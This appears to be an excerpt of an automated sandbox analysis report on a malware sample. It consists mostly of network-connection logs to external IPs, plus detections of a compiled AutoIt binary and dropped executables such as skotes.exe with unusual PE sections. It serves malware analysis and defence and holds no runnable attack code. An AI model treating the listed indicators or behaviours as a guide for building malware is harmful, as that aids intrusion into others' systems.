Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 53152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53150
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53156
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 53157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.7:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.7:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:53150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.7:53151 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 1e1f95e037.exe, 00000021.00000002.2607874602.0000000000252000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_22a826df-2
Source: 1e1f95e037.exe, 00000021.00000002.2607874602.0000000000252000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_119b8e57-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name:
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsIDGIJEGHDA.exe.1.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: .rsrc
Source: random[1].exe.27.dr	Static PE information: section name: .idata
Source: random[1].exe.27.dr	Static PE information: section name:
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name:
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name: .rsrc
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name: .idata
Source: fd5d5b30e9.exe.27.dr	Static PE information: section name:
Source: random[1].exe0.27.dr	Static PE information: section name:
